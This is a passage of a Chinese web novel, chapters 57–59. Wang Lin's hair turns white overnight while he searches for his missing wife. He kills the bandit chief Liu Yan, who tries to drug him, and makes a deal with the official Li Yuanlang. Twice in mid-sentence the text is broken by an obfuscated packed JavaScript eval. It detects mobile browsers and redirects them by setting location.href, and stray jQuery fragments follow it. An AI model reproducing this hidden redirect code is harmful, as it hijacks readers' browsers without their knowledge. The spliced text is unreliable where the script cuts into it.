“落水了?依依可是亲眼看见了?”王林沉思,自顾呢喃念着,“婉儿不会水……” 栽入他怀里的小脑袋使劲点着头。 可岸上有从水里捞回来的人,江面沉船处还有官兵不断搜救打捞船客,王林恢复冷静,朝人群里喊道:“许立国。” 许立国忙推开人,探出身子,“主子。” “照看好依依。”他交代完找了官兵交涉,同搜救官兵一并搜寻,李慕婉若落水,断然不会在船舱里,沿着江水所流的下游方向打捞,定然不会有错。 57.白发 王林跟着队伍沿着下游,从熹微时寻到天暗,陆陆续续不少船客都捞上来了,即便是死人,漂浮到岸边的尸体也找得到,可是却独独没有李慕婉的。 所有的希望一次次燃起又幻灭,官府收了兵,王林还在漫无目的地寻,村民所见不过是一个形同孤魂野鬼般的残影踏在河边,他被一次次空手而归打的支离破碎。 从临州到了外郡的流域,山川河流,七日七夜,仍是杳无踪迹。 王林拖着疲惫的残躯失魂落魄的住进临州一座院子,那是许立国临时租的院子,安顿好王依依,见王林那副魂不附体的模样也很是无奈。 “主子,天命无常……”许立国想劝,见他那副疯癫样又只能噤声,王依依扯着他衣袖,“爹爹,娘亲什么时候回来?依依想娘亲了。” “天命……我王林从不信天命……”王林闭上双眼,痛苦裹着全身,心脉要被撕裂了,这种痛像无形的一把尖刀,一寸一寸挖开他,从五脏六腑,抓得他面目全非。 可对着女儿,他又强撑起,只是没有血色的面容,眼睑乌青,嘴唇干裂,早已没了风度翩翩的君子样,他麻木安慰道,“依依不哭,爹爹定会寻回娘亲的。” 许立国带走王依依后,王林一个人独自坐在屋内,手撑着头,几日来的寻找无果,从官府审问水匪的供述中,以及王依依所见,痛入心脾的信息不断压着他,撕碎他,声音几近哑了,残影裹着他。 王林面容痛苦,仿若千万只毒蝎啃噬着他的残躯肺腑,令人窒息的疼痛刺着他,血泪模糊了双眼,淌着面颊,胃里一阵翻江倒海,口中吐出一口鲜血,心裂开了,“婉儿,你到底在哪?” “我找不到你了,婉儿……”潮涌般的懊悔冲击着他,“是我不好,不该让你一人带着依依回家,是我的错……” 嘴角的血液残留着,已然尝不出血腥的味道了,“婉儿,你在哪?回来吧,好不好……” 灯影摇曳,屋内一夜的疯言疯语低声不断,“婉儿,我好想你,依依也好想你……” “说好年年相守,岁岁相伴的,你不会食言的,可对?” “婉儿,不论你在哪里,我都要把你找回来。” “即便踏过千万里,走过千州百郡,我也要寻到你。” 黑暗里,鸦声停后,死寂的院落如同荒野,黎明破晓,案前的人坐了一夜,丝毫未动。 屋内王依依醒来吵着要找王林,她拉着许立国来到主屋,“爹爹,依依想你。” 许立国跟在身后,“小主子,主子好几日没合眼了,晚些再来吧。” “爹爹……”王依依这些日子也是闹,许立国没日没夜看着她,王林身心疲惫,为着李慕婉的事,把她冷落了,可她没了娘亲,爹爹又疯癫无状,许立国瞧着心疼。 屋内房门许久才推开,听闻声音的她小跑过去寻抱,可是刚踏出步子后,檐下立着的男子,一身白袍,散下的长发如银河铺落在颀长的身躯上,虽残躯不立,难掩其身上气质。 那满头长发全白了。 却见他棱角分明,微风徐过屋檐,阳光下银白变得清艳,只是那双目涣散,双臂也是无力垂下,白发散乱。 王依依蓦然后退,小脸一皱,盯了许久熟悉又陌生的王林,“哇”的一声转身扑向许立国,很是害怕地呜呜大哭起来:“许立国叔叔,我,我要爹爹,我要爹爹……” “娘亲,我要娘亲……” 她口中喊着爹爹,却又不敢看那台阶上的白发男子。 许立国抱着王依依轻拍着,几度开口,“主,主子……你,你的,头发……” 王依依哭得伤心,见王林动了,径直走过来,许立国放下人,王依依抱着他大腿躲在身后,神色里满是害怕和诧异,却又忍不住探出半个脑袋观察走过来的王林,肩头还是抽抽嗒嗒的起伏不停。 王林蹲下身,白发被风随意吹起,见他伸手过来,王依依拽着许立国后退几步,却被王林长臂带入怀里,指腹擦着她泪痕,王林那双好看的眼睛布满了血网,沙哑地哄着她,“依依不哭,爹爹带你去找娘亲好不好?” 她一双眼睛与王林生得极像,王依依起先还挣扎着,可王林身上的味道是她熟悉的爹爹,她盯着熟悉的脸良久,默默点了点头,很是乖巧地抬起小手摸着他沧桑的面容,胡茬也长出来了。 王林受着女儿的气息,像看见了李慕婉,与她相似的面容,深眸里无声流下两行泪,王依依很是暖心,拭去他的泪,哽咽安慰道,“爹爹不哭,依依也不哭,依依陪爹爹一块去找娘亲。” “好依依,娘亲一定也在等着我们呢。”王依依靠在他肩头,王林蹲身时,她头顶才勉强到肩头,泪水蹭湿了衣裳。 王依依手心攥着父亲的白发,她不懂为什么爹爹的头发一夜之间全白了。 屋内书案前,王依依拿了梳子,学着娘亲的样子,有模有样的替坐着的王林梳着长发。 她个头还差些,要垫起脚。 “爹爹,”王依依喊着他,“爹爹变了,娘亲还认得么?” 听着她喊娘亲,王林心要碎了,眼眶又泛起水雾,轻抚着她的背,“依依放心,娘亲会认得的。” 王依依放了梳子,爬上他腿,王林抬手抱到腿上,一遍遍看着女儿,泪水彻夜流干了。 寻找李慕婉自是刻不容缓,能寻的地方这些天都已经寻过了,他拿出临州附近州郡的地形图,瞥见一处标记。 丹青寨? 水匪与官府的供述里,有提到这个丹青寨,那一刻,他还有一事更为重要! 致使李慕婉落水的罪魁祸首,是水匪,虽都已经俘虏,可水匪窝还在,地形图上的丹青寨正是位于临州中部的云雾岭。 他要走过州郡寻找李慕婉,只能是漫无目的,但只要沿着下游的州郡去寻,定然能有所获,是生是死,他都要见着人。 三日后,许立国退了院子,三人从临州出发,王林画了一副李慕婉的画像,凡是经过客栈酒楼,所到之处,能问之人,都问过了。 赶了几日的山路,王依依累在他臂弯里睡着了,大部分时间都是他抱着,夜里王依依会梦见娘亲哭醒,那哭声每一次都像一块巨石,在敲着他,反复碾碎了。 官道上,王林遇着前往燕州的军队,此刻往燕州去的极可能是京城所派之人。 京城,王林不想有所牵涉,下令让许立国避开军队。 前头领军的将领朝士兵挥手,几名士兵朝王林的马车走去,王林带着警惕,探清来意,才挑开了帘子。 只见那立于马背之上的将领正是程贤,程贤热情胯/下马背,迎着他,“王兄。” 王林肩头下沉,怀里抱着的王依依对程贤很是好奇。 “程贤?”王林也震惊了片刻。 “你们方才歇息时,我看你背影就直觉熟悉,”程贤说,“自你离京已有数年,可王兄的气质,天下难寻第二人,我可是忘不了啊。” “如何?这都能认出来你,我够意思吧。”他见着王林,即便身上铠甲加身,却掩不住他从前那副热情。 王林浅笑,“别来无恙,你这是?” “王兄,你这头发怎得?”程贤这才得空问,王林木簪半挽的长发铺在背后,他逗趣着,“你修仙了?” 但见王林眸中黯然失色,程贤似有察觉不对,随即止了话题,又见那怀中的小团绒转着眼珠子打量自己。 程贤抬手忍不住捏了捏她肉脸,“这是?” “我的女儿,”王林淡淡说,“王依依。” “依依,这是程叔叔,喊人。”王林摸了摸她头,满眼宠溺。 程贤对他这副神色倒是稀奇,“女儿?王兄离京不过六年,她几岁了?” 王依依抢着王林的话,伸出手指头,“程叔叔好,依依快四岁了。” 她这声音委实可爱,奶声奶气的,程贤恨不得咬一口,直直伸手去抱她,王依依看了一眼王林眼色,见爹爹没说话她张开手过去。 程贤很是喜爱,夸道:“四岁了,那你成婚怎么也得五年了?弟媳呢?” “我还没见过呢。” 王林苦笑,却不愿多言,王依依好奇摸着他身上的铠甲,回道:“娘亲去游玩了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168649|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们正要去找娘亲呢。” 程贤察觉王林的异常,似有隐情,又见他不愿多提,也没再往下问。 身后的许立国看见王依依在程贤怀里玩得乐呵,满是不屑,在王林耳侧故意嘟囔着:“主子,小主子这不怕生人的性子可不行,万一遇着外人就跑了。” “依依知道的。”王林平淡应着他。 “程叔叔的铠甲,好帅气。”王依依赞不绝口又爱不释手,“娘亲给依依读的话本里就有这样的铠甲。” “不就是战甲么?”许立国捏着手指不屑说,“我许立国以后也要弄一套穿穿,让小主子好好看看。” “程叔叔要去打仗,等叔叔凯旋了,把这战甲送给依依,好不好?”程贤宠着她,见着就很是亲切。 王林难得一笑,抱回王依依,“京城此次出兵燕州,怎么是你一人领军?” 程贤明白他的疑虑,先前他考得功名同留翰林院,后来被兵部侍郎看中,收为门生,举荐到了军营任职,立过几场战功,升了四品骠骑将军。 出兵燕州本是苦差事,朝中老将不少与老燕王有交情,碍于私情,多是推诿扯皮,赵国虽能人辈出,皇帝却无可用之人,是以程贤自请的出兵燕州。 皇帝拟旨派兵,程贤虽为主帅,可是此次一并从京城出兵者并非只程贤一人。 “承蒙陛下器重。” “不过此次带兵的并非我一人,朝廷不止要与燕州开战,还要一把缴清临州乃至燕州一带的匪患,不给燕王留后路。” “剿匪?”王林望着军队,一队人马不可能既要剿匪还要与燕王对抗。 “清缴匪窝的军队还在后头,由李元朗带兵,他兼任礼部和兵部尚书,同我一样,也是自请出兵的。” 面对此人,王林心有芥蒂,若有似无点了点头,之后又与程贤闲聊了几句,程贤公务在身,王林也不便打扰,只能抱拳告辞。 行军速度赶不上独行的马车,王林也有要务在身,不便久留。 途径云雾岭丹青寨分寨附近,王林停留一日,让许立国打探了虚实,他游混江湖十来年,这些活计游刃有余。 得知分寨大当家是位柳姓女子,名为柳艳。原先是丹青寨的二当家,应与大当家木寒艳意见分歧,领了弟兄们下山另起炉灶,以抢劫水路商船货物为生。 王林只身经过丹青寨分寨的山路,水匪被擒获后分寨损失兵力大半,光景大不如前,近期也很是收敛。 可面对这人经过,钱财的诱惑委实无法比拟。柳艳派人下山拦截,王林瞧见这些水匪,仇恨如排山倒海奋涌而出,他此行而来,目的就在此。 匪徒见此人嚣张气焰,换成旁人经过云雾岭山路都得绕着走,可他不但没绕开,还有在此盘桓之意。 王林也未多言,霎时间拔刀与人交战,山林里的打斗声维持没多时,几番下来之后,匪徒不敌,倒成一片。 可他却没有想要离去之意,分寨里匪徒不多,以他所探虚实,他有把握能够应对。 寨子里,躺在藤椅上悠闲端着酒盏喝酒的女子,额前留了一缕发丝,垂在胸前。 柳艳生了一副妖艳魅惑的脸,纤纤玉手一勾,举手投足媚态横生,能把底下弟兄们勾得三魂丢了七魄。 身边的弟兄对她垂涎已久,只是碍于她一身武艺和狠辣手段,若无柳艳主动,旁人并不敢逾越。 “大当家,山下来了个硬茬,把咱们的人都杀了。” 悠闲的柳艳听闻猛然起身,腰间别了一把短刀,看似锋利。 “何人胆敢在我的地盘造次?”柳艳目光犀利,却丝毫不见胆怯,眼神中仿若还透着一股玩味。 “一位,”小弟竟然有些难以启齿,“一位书生,但是功夫了得,出手不像凡人,很是狠决。” “哦?”柳艳勾唇,“书生?” 柳艳没见过书生,但晓书生该是温文尔雅的玉面公子。能在丹青寨杀了人还不惧的人,她倒是头一回听。 “带路,我倒想看看这书生长什么模样?”柳艳手臂一掷,酒盏稳稳落在桌面,小弟一见立刻带路前往。 58.弑杀 王林杀了分寨的人却没有第一时间逃亡,仿若要故意等着人来,柳艳带着一行人赶到山下,却见那人银发飘然,容颜如画,背影挺立,一身白袍浸染血色。 柳艳左右确认,这是书生? 属下满是壮烈的气势,“大当家,让小的去杀了他。” 柳艳抬手打住,“我分寨十几人都敌不过,就凭你?” 那阴戾的眼神扫过众人,临风喊道:“不知阁下是哪个山头的?可知杀了我柳艳的人,是何等下场?” 王林悠然转过身,擦了把面颊的血迹,目光落在山石上立的几人,满不在意,“路过。” “路过?”柳艳挑眉一笑,抬手间,几人从石上纵身而跃。 “我丹青寨的地盘,从没有人能不留点东西便能安然无恙地离开,更没有能杀了我柳艳的人,我还能放你离开的道理。” 王林作势不予理会,挎上剑便要走,眼角观察着风动。 刚提起步子时,身后一道寒光袭来,他侧身躲避,利刃擦身而过,几缕银发飘落。 王林眼色一变,他还未拔刀,身后又几人挥刀而上,王林腾空后退躲避,身子跃起,迎上去,长腿踹了其中一人胸膛,又再稳稳落地,那人已经倒地难起。 几人刀法一招接连一招,招招致命又来势汹汹,白袍在极速混战下鼓动,白发飘逸。随着他身躯起起落落,他手中利刃挡下招式,得了空隙出手之快难以捕捉,便刺穿敌人喉咙。 打斗声惊起林间的鸟儿,不出多时,眼见上去的几人均已重伤或是丧命,柳艳对此子越发好奇。 王林漫不经心收起剑,藏锋归鞘,他的傲气对于柳艳来说近乎是挑衅,可他不在意。 “一个书生,竟然有如此身手,阁下既说路过,是要去哪?”柳艳闪过一丝兴奋。 “我柳艳在云雾岭无人敌手,当道多年更是不曾遇到此等高手,今日难得一遇,”柳艳摸着手里的刀,“不若阁下与我比试一番,你若赢了,我放你走,你杀我弟兄一事,也可既往不咎。” “只要赢了,就能一笔勾销?”王林轻嗤,“大当家真可谓是重情重义。” “狂妄。”柳艳自幼父母死后,便无处可去。遇到丹青寨老寨主带上山,见她根骨奇特,教授一身武艺,在丹青寨山头从无人能领教三招。 “大当家威风,听闻临州月前商船被劫,官府意要清剿临州往燕州一带的匪徒,大当家如此镇定,要不是没收到消息,要么就是不怕官兵?”王林试探道。 “怎么?书生对这打家劫舍之事也有兴趣吗?”柳艳饶有兴致问,“若你赢得了我,我倒不介意让你留在丹青寨,做我二当家。” “大当家如此凛然,那水匪之事必然与你无关了?” “不过是截获一搜商船,哼,”柳艳抱着双臂满是不屑,“即便劫的是官船,想必这临州地界也无人敢说个不字。” 王林沉思暗道:果然,婉儿的失踪,与这些匪徒脱不了联系。 如王林所料,丹青寨之所以狂妄,目无王法,这背后若无人支撑,属实无法信服。 王林抬手作了请,柳云纵身从山石飞跃,手中刀刃已经拔出,重击落向王林,他剑未出窍,以剑鞘挡下一击,退了半步。 此女虽与自己年纪相仿,蛮力却不小。只是因混战前消耗了些力气,面对柳艳的猛击他已有疲态之势,柳艳似乎察觉此处,收回刀刃。 “你身上有伤,我若要与你比试,自然是占了便宜,于你不公,这样的比试我柳艳不稀罕,不如你随我上山,养好了伤你我再比试一场,如何?”柳艳玩心大起。 王林未第一时间应下,此刻要打赢她确实吃力,在几招交锋中他便探出此人实力不比自己之下,他没有把握能全胜,若不答应,被匪徒围剿他难有生机。 既然劫持商船有她这山寨的手笔,能够上山正合他此行之意。 “上了山不就羊入虎口?我该如何相信大当家的话。” “你此刻怕是没有第二条路可走了。”柳寨打量着他。 “你叫什么?” “王林。”王林目光横扫,气势如虹。 跟着柳艳上山后,他发觉这丹青寨的分寨并不大,人也并非与他想象中的多,柳艳让人收拾了一处给他住下。 弟兄们围在主堂,对柳艳此举颇有不满。 “大当家,此子杀了我们那么多兄弟,您不杀他怎么还把人领回来了?” “是啊,要我说直接杀了,一了百了。” “......” “吵死了。”柳艳掀起眼帘,“瞧瞧你们一个个的,我做事,何时需要向你们交代?若是不服,大可收拾东西回总寨去。” “小的们不是担心嘛?”其中一个属下锤着柳艳的腿。 “担心什么?担心人家书生长得比你们俊?一群粗鄙之徒。”柳艳腿一扫,坐了起来,脑中划过那个轮廓,清秀的面容下遮不住他眉眼的戾气。 随即,柳艳起身去了王林住处,王林养伤之余会在寨子转悠,那满头银发尤为显眼,夕阳已下,王林立在山脚下,再有几日身上的伤便能好全。 上云雾岭前,他安顿了王依依在临近镇子落脚,答应她半个月内一定会回去的,算着日子也快了。 王依依每日坐在客栈的阁楼上,小腿荡在窗外,下巴撑着栏,百无聊赖说:“许立国叔叔,爹爹说半个月回来,半个月是多久?” 许立国挠挠头,这丫头已经没以前好糊弄了,他手里还拿着一串糖葫芦,特意买回来哄她的,“这......半个月就是十五日。” “十五日?”王依依耷拉着脑袋,在栏杆处来回移,掰着手指算,“爹爹已经走了十日,那就还有五日便回来了。” “小主子聪明。” “爹爹说去寻娘亲了,娘亲也会一块回来吗?”她望着楼下的车水马龙,镇子上的稀奇玩意,这些日子许立国带她玩个遍,新鲜度没了,王依依也不想再出去,日日盼着王林回来。 “不好好养伤,在这做什么?”柳艳的声音把王林的遐思收回,王林侧目余光打量了须臾,没有多留,走开了。 柳艳,寨里的弟兄服从她并非是看中她的能力,而是她身上一股娇媚,好似一勾眼一说话,便能把人的魂勾走了,可这些对于王林而言,丝毫无用。 “你我之间,承诺你的君子比试,倒也不会为难于你,何必如此谨慎?”柳艳朝那背影掷了一壶酒,原以为王林会接,可他连头也不回,酒坛碎了一地,湿了他的白衣。 那白发荡在余晖里,柳艳被这无视怒极了。 “比试完了,是输是赢,你都走不掉。”她望着远去的背影,暗自喃道。 三日后,王林伤势已无大碍,承诺王依依的时间要到了,婉儿曾说,答应孩子的事不能食言,他都记着。 柳艳原是要再给他几日恢复伤势,可王林执拗,两人较量一触即发,当王林的长剑抵住她脖颈时,柳艳露出的是不甘,转念过后就把这情绪收拢,露出一抹意味深长的笑意。 “我赢了。”王林收回长剑,在无人察觉的暗处,殊不知他抑制了多狂的冲动才没有让利剑划破她的喉咙。 说罢王林转身就走,可没走出几步,数十人两列而上,围着他。 “大当家这是何意?”王林目光警惕。 柳艳笑声刺耳,划过山林,“你武艺超群,或许让你就这么走了太可惜,不如留下来,我好好请教一番。” 寨子兄弟都明白,她口中的请教意味着是什么。 王林面容不见慌张,早该料到此人难缠,他抬手,“带路。” 夜里柳艳一身鲜红纱衣,王林被几人带到主堂,那藤椅上曼妙的身影和余音,王林视而不见,侧身望着别处。 “不说请教武艺,大当家是何意?” 柳艳的娇笑充斥整个主堂,“书生么,这么纯情?你当真以为只是比试?” 王林背过身,自始至终没有正眼看她。 “寨子里的弟兄都是粗鄙之徒,每回都是急色,司空见惯了,像公子这样俊俏的书生倒是头一回见,都说书生最是矜持,我柳艳想看看是否当真如此?” 白发男子岿然不动。 “不过我倒是好奇,公子不过弱冠出头之貌,为何白了三千丝呢?” 王林宽袖中掌心藏起恨意,若非匪徒劫持商船,李慕婉落水失踪,他岂会痛心疾首,一夜白头。 王林思索着,若柳艳动手,他一人尚能对付,倘若外头的人进来,那就不一定了。 柳艳扭着腰肢走近,王林后退几步,寒光里是警告的意味。柳艳意会,只道,“公子不经人事?害羞?我当可遣散了外头的弟兄。” “嗯。”王林冷漠应着,正合他意。 等了片刻,柳艳从门外回来,主堂外巡守的人都遣走了。 随着她靠近,一股熟悉的味道浸入鼻息,王林察觉后暗自用内力逼出些许。 “人都走了。” 就在柳艳要贴到时,王林袖口拔出短刀,划破柳艳手臂,柳艳吃痛退到藤椅上,不知从哪拔出刀刃。 “王林,你以为你今晚就算抵抗,就能逃出去吗?别忘了,这是谁的地盘。”柳眉锁紧眉,把方才的媚态收起。 “那便试试。”早在这些日子,丹青寨的路线他摸熟了,哪里能逃过哨子,更快抵达山下,哪条道巡逻密集容易发现,一一掌握。 王林手中的短刀再次接了柳艳的招式,只是这一次他没退。 杯盏碎裂的声音传出主堂,远处巡逻的山匪闻声欲要过去查探,却被人拦下。 “做什么?胆敢过去坏了大当家与那书生的好事,看大当家怎么收拾你。”那人朝巡逻护卫踢了一脚。 其中有人嘲笑道,“不都说书生自持?这般动静,怕是比二哥你还要厉害。” 几人望着主堂的方向讨论起来,满是不堪入耳的淫/色。 柳艳腹部受了王林一脚,嘴角渗出血迹,可她脸上却是得意,而王林动用内力后,体内的气息有所紊乱,一股燥热在试图拨乱他的理智。 他直觉不对劲,猛地甩了头。 柳艳知道他这是药效上来了,撑着木椅起身,打量他:“这依兰香,是特意为你准备的,如何?” “就算你再坐怀不乱,在这药效催动之下,也难把持得住,一届书生罢了,本寨主看上你,是你的福气。换作旁人,死一百回了。”柳艳犹如看猎物,端详着,那光影中的轮廓越发摄人心魂。 王林忍着难受,身上燥热难耐,可那白发下的面容,扯出一抹狠笑,“是吗?” 旋即,他手中短刀划过自己手臂,唯有锥心之痛才能把那股药物激起的难耐压下。 这药虽同为依兰香,可之前李慕婉调的是能缓解疲倦和清神醒智的,而柳艳所用之药,乃是大剂量的情药,若非坚韧意志支撑,或许早已沦陷。 见他宁愿自伤也不愿,柳艳怔了须臾,王林清醒后再次挥刀,屋内打斗越发激烈,木桌被柳艳的刀砍成两半,王林手上武器占不到优势,可速度却在她之上,柳艳擅长兵器,可下盘却不稳 王林借机进攻下盘,柳艳招架不住,身上被他短刃划破几处,王林最后一击毫不犹豫插入她腹部。柳眉咬着牙想朝屋外呼救,却被王林踩在脚下,难以动弹。 长腿提起刀柄,柳眉那把刀到了他手上,抵着他脖颈。王林阴鸷质问着:“截获商船为何要杀人?” 柳艳捂着伤口,面目狰狞,他几次提及商船之事,疑惑着问:“你到底,是什么人?” “来杀你的人。”王林说罢,借着缝隙,利刃划过她脖颈,血流涌出,他没有一丝犹豫,“这是你该还的。” 柳艳死也想不到,会死在这么荒唐的事下。 听着主堂里的动静从激烈再消退,外头驻守的人早已散了。子夜时,山林鸟叫声都静了,王林点了把火,主堂熊熊烈火燃过云层,火势蔓延开后,寨子纷纷嚷嚷,不知为何起的大火。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176667|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>寨子的弟兄们抄起水桶灭火,烈焰中,他们瞧见主堂里躺在火光中的柳艳,却早已不见王林身影。 *** 分寨大当家身亡的消息翌日便传入丹青寨总寨。 “你们不是说能摆平吗?”大当家木寒艳目光正肃,怀了一层浅浅的伤色。 柳艳虽脱离了丹青寨,可父亲过世时嘱咐过要照顾好她,她素日任性惯了,胡作非为,毫无底线。 总归还有丹青寨罩着,木寒艳几次替她抹平祸事,即便官府也要给丹青寨几分颜面,轻易不会动她,况且劫持商船的事,木寒艳已经拖人摆平了,官府不会再找上门。 一黑衣男子坐在丹青寨主堂,漫不经心品茶,声音确是浑厚,“分寨烧了,却不见上山人的痕迹,定然不会出自官府手笔。莫不是柳二当家惹了什么人?” 柳艳身死后,分寨的弟兄们迁回总寨,正堂下跪着的兄弟说道,“大当家,近日来上山的除了一个白衣书生,再无他人。” “书生?为何会有书生上山?”木寒艳倪着他,只觉事情并非与想象中简单。 “那书生路过咱们分寨,杀了不少弟兄,二当家对他印象不错,见他身手好要与之比试,又不想乘人之危,本是要把人接上山养好伤势后再比。” 木寨艳闻言不由鄙夷地扯了下嘴角。 “那书生养好伤后比赢了,二当家原本答应要放人离去,却改了主意。” “小妹自小仗着父亲宠爱最是任性,”木寒艳惋惜摇头,“因何改了主意?” “二当家要那书生留下伺候......”那人犹豫说,又道明那晚之事。 “一个书生,胆敢上山杀人放火,还能悄无声息的下山?”木寒艳倒是对此人有几分刮目相看。 “若是临州之人,必然不会主动招惹,可知叫什么?来自哪里?”黑衣人声音厚重问道。 属下思忖着,慢慢道来,“此子在山里养伤显少外出,即便二当家与之闲话,也是傲视不见,属下们只听得二当家喊过几回。” “叫什么,王林?口音听着不像临州人士。” “王林?”黑衣人拍着扶手,骤然起身。 “大人认识此人?”木寒艳抬眼不免问道。 书生,王林?黑衣人脑海闪过一个人。 又听那人说:“不过此人好认,弱冠出头,却一头白发。” 白发?黑衣人将脑中之人驱散,应该不会有如此巧合之事。 “不识。”黑衣人欲走,两边侍卫起身跟上前,“朝廷清缴临州一带匪徒的旨意已下,大当家还是另作打算吧。” 黑衣人走后,木寒艳遣散了人,撑着额心很是头疼。 柳艳的尸体在那场大火里焚烧成灰烬,若只是因保命而杀人倒也不是没可能,自柳艳劫了商船闯出事端,原以为还能平息后事,却不料惊动朝廷,到底还是因着燕州的原因。 朝廷要向燕州出兵,连同到燕州的匪窝一并清缴,目的就是害怕燕州狗急跳墙,与匪患勾结,扰乱民生。 李元朗带领的军队正是此次剿除匪患的主力。 王林赶回临镇正好是离开的第十五日,王依依掰着手指,回头望着许立国说,“许立国叔叔,今天已经是最后一日了,爹爹为何还没回来啊?” “这个嘛,”许立国指着天说,“天不是还没黑嘛,等天黑,天黑前主子一定回来。” 远处街角一抹白衣纵入,银发飘在身后,王依依望着楼下光景,那抹白色尤为显眼,她隔空喊道,“爹爹。” 王林转角已至客栈楼下,听得女儿的声音,赶路的疲惫殆尽,仰着头朝她笑着。 王依依起身,攀越栏杆,三层楼高,王林见状心先是紧了紧,却很快张开臂膀,王依依似乎是得了允许,纵身跳下,王林接住了她。 “爹爹,依依好想你。”王依依望着他的脸。王林眉心皱了一瞬,左臂上的伤被她压着,只能换成右手,单臂抱着她走进客栈。 楼上的许立国抹了把汗,心都吓没了,“这小祖宗,一不留心就下去了,要不是接住了,小煞星不得弄死我。” “往后不许做这么危险的事。”王林上楼时不忘叮嘱她。 “娘亲以前也总是这么跑到爹爹怀里的,爹爹每次都能接住。”王依依玩着他的头发,似乎已经习惯了他这个样子,“爹爹,你不是说找娘亲去了么?” “嗯。” “娘亲呢?” “娘亲在很远的地方等着我们,爹爹会带依依去找到她的。”女儿的模样神似李慕婉,他越发想念了。 夜里他思忖着接下来要走的路,在分寨杀了柳艳,算是为李慕婉报了仇,他知晓柳艳是从丹青寨出来的,丹青寨大当家与她关系非常,就是不知,会不会因此来寻他麻烦。 不过即便他们不来,他也要去的。 只是不能再像此次这般冒险,对付一个柳艳已经心神交瘁,丹青寨总寨人数众多,加之他在分寨杀了人,木寒艳定能闻讯寻到自己,他必须得借用官府之力,方能一并扫清。 “婉儿,虽还没有你的消息,但是那些让你我分离之人,我都会一一讨回来。”王林深眸里闪着红光,狠戾无比。 窗户敞开着,哄睡了王依依后他已经在案头坐了一个时辰,风卷进时,扫着他发,夜风有些凉,他起身关上窗,到了榻上,替王依依盖好被褥,自己又才上榻,王依依枕着父亲的手臂睡得熟。 王林难以入眠,自李慕婉失去音信后,他夜夜难以入寝,寂夜中那肆无忌惮涌出的思念翻滚着,面颊无声无息淌下两行泪,王依依又梦惊醒,可是她早已学会了坚强,不会哭闹。 只是抬眼摸着父亲时,在他脸上触到一块湿润,王依依睡音沙哑,“爹爹,你又哭了,是不是又想娘亲了。” 王林抓起她小手,放入被褥里,“依依睡吧。” “爹爹不哭,爹爹不要哭……”王依依呓语呢喃,王林轻轻拍着她,女儿很快又再入睡,可他却彻夜难眠。 59.山崩 程贤说过,李元朗是此次剿匪的领将,王林思虑了一夜,做好筹算,从镇子前往临州城内。 李元朗听闻求见之人名字,竟然有些讶异。可随即便应了王林的求见。 李元朗不知他求见之意,可见到第一眼之后,白发飘逸的他,与在木寒艳那听得在丹青寨杀伐的人特征吻合。 那么杀了柳艳的人当真是他! 李元朗不愧是多年混迹朝堂的老狐狸,见着他却未露出异常之色,王林更是没藏着掖着,开门见山表明来意。 他心知在京城里拒绝了李元朗收为门生和逼亲之事,定然让他心有芥蒂。可他既然奉命剿匪,便与他目的一致。 “你是说,你的妻子在那次商船被劫中失了音信?”李元朗叹了口气说,“六年前,在京城对你逼婚,是老夫爱女心切,故而做出荒唐之事。” 王林默不作声,只是拱了拱手。 “是以,你才杀了柳艳为亡妻报仇?” “不是亡妻,她没有死。”王林目光决绝,李元朗竟然有被这股气势镇压到。 “罢了,柳艳是木寒艳的妹妹,如今已经大肆在寻捣毁分寨的人,而你入我军队,是想借军力扫平丹青寨。”李元朗说,“可是王林,扫清丹青寨是陛下下达之命,无需你求,我都会将丹青寨夷为平地,回京复命。” “那是自然,可丹青寨能屹立临州多年不倒,还能与燕州的商路往来,难道尚书大人就不困惑吗?”王林说。 “何意?” “若无燕州许可,丹青寨的生意怎能自由往返燕临两州?”王林说,“有燕王为靠山,木寒艳在李尚书围剿下,自然可以遁逃至燕州,而丹青寨若投靠燕王,这无疑是给燕王助力。可如此,大人该如何向朝廷交待?” 李元朗静静听着,欣赏之色不由闪过,可随之取代的是惋惜,“你如此缜密心思,当初辞官回乡着实可惜了。” “既然你自荐,可是已有筹算?”他既然能主动前来,必是有所求。 “若我能替尚书大人剿灭丹青寨,大人能否应允我一事。”王林见他有所松动,顺理成章地谈起条件。 “什么条件?” “把大当家木寒艳的性命留给我。”王林眼中透着恨意。 李元朗暗自唏嘘,只是因为这个?他倒是好答应。 “可以,不过本官也有条件。”李元朗狡猾说,“丹青寨剿灭后,你要留在本官身边,为我所用。” “你既是为发妻宣泄私仇,又不止寻妻之路,天下之大,以你一人之力,大海捞针不为过,倘若以本官之势,你寻妻也能事半功倍。”李元朗胸有成竹,仿若料定王林会应下。 王林思忖片刻,与他达成约定。 在临州城内游玩的李秋池进了军帐便不停问着父亲。 “听副将说,父亲这来了个故人,爹,是他吗?”李秋池面上还是有所期待。 李元朗见着几年来女儿的心思都未幻灭,摇摇头说:“今日的他已非昨日他,池儿该是放下了。” 若非听闻他在赵国四处讲学,定然还是心有所向,她又怎会来到临州。 “父亲。”李秋池执拗,几年前从长乐县回京后念念不忘。 “剿匪在即,你在临州城内不要乱跑,待为父归京时,王林也会随我回京。”李元朗势在必得。 “父亲所言当真?”李秋池有所疑虑,几年前长乐县一别,再无相见,而他也已有了妻子,二人伉俪情深,已然分不开。 “若非他发妻已亡故,我断不会有此心。”李元朗说到底还是为了女儿。 “什么?李慕婉死了?”李秋池惊魂浇醒,内心透过一丝喜色。 